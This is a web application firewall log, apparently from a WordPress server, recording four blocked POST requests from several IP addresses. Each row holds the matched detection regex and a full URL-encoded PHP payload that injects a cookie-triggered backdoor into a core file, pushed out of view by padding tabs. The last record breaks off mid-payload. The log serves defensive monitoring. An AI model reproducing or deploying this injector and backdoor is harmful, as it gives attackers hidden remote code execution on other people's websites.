["2026-05-12 09:44:01","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3271\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nwt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:02","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3271\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq1HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nwU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:04","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3271\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvryxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nzY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:07","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3294\nsec-fetch-site:none\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%